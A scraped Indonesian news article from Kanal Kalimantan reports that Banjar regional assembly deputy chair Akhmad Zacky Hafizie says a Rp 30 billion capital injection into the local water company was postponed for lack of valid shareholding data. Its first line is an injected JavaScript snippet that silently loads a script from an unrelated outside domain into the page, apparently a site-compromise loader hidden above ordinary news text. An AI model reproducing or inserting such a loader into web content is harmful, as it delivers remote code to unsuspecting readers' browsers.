(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Wakil Ketua DPRD Kabupaten Banjar, Akhmad Zacky Hafizie beberkan alasan penundaan pembahasan Raperda Penyertaan Modal PT Air Minum Intan Banjar. Penundaan pembahasan Raperda ini dilakukan lantaran pihak eksekutif belum berikan data yang valid tentang besaran saham kepemilikan Pemkab Banjar. Hal ini lantas menjawab sejumlah tudingan negatif terhadap pimpinan DPRD Banjar.
Dikatakan Akhmad Zacky Hafizie, DPRD tidak masalah dengan adanya penyertaan modal, tetapi harus jelas penggunaannya. Selain itu kalau ada angka persentase kepemilikan saham harus dijelaskan darimana saja angka tersebut.
Sementara pada Rapat Banmus yang membahas penyertaan modal, pihak eksekutif tidak bisa menjelaskan lebih rinci angka angka itu.
“Pada saat rapat Banmus pihak eksekutif mengusulkan penyertaan modal Rp 30 miliar, saat itu kita tanyakan apakah sudah adakah bisnis plan-nya, karena hal ini harus disertai sebuah kajian, sehingga harus ada kejelasan dana itu dipergunakan untuk apa dan menghasilkan apa,” katanya, Selasa (25/1/2022) sore.
Baca juga : GEMAS Kalsel Desak Kejati Ajukan Banding Atas Vonis Janggal Pemerkosa Oknum Polisi
Lebih jauh Akhmad Zacky mempertanyakan dana sebesar Rp 30 miliar itu apakah dapat mengangkat Pemkab Banjar sebagai pemilik saham mayoritas pada PT Air Minum Intan Banjar sebanyak 51 persen. Pertanyaan itu masih belum bisa dijawab oleh eksekutif, karena anggaran dasar pendirian persero daerah belum ada, belum lagi kejelasan perhitungan menyebut Pemkab Banjar punya saham 48 persen. “Jadi penundaan pembahasan penyertaan modal ini adalah hasil kesepakatan antara eksekutif dan legislatif, bukan karena pimpinan DPRD.
Perlu dicatat, pimpinan DPRD tidak menolak, bagi saya jangan Rp 30 miliar, andai perlu Rp 100 miliar agar Pemkab Banjar punya saham mayoritas saya setuju, tetapi harus lengkap dan valid semua data yang diperlukan,” tegas politis PPP ini.
Akhmad Zacky Hafizie mengungkapkan, ia punya pengalaman sebagai direktur perusahaan, sehingga memahami tentang penyertaan modal. Karena itu harus dilakukan sesuai dengan aturan yang berlaku, yakni sesuai anggaran dasar perusahaan, termasuk pentingnya Rapat Umum Pemegang Saham (RUPS). (kanalkalimantan.com/rdy)
Reporter : rdy
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More
KANALKALIMANTAN.COM - Menyambut akhir tahun yang penuh keseruan dan momen spesial bersama keluarga dan teman… Read More
KANALKALIMANTAN.COM - Ajang pencarian bakat Dangdut Mania Dadakan (DMD) Panggung Rezeki selalu memberikan warna baru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran permukiman penduduk di Jalan Barito Hulu, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Peristiwa kebakaran terjadi di Jalan Ir PHM Noor, Gang Nuruddin RT 55,… Read More
This website uses cookies.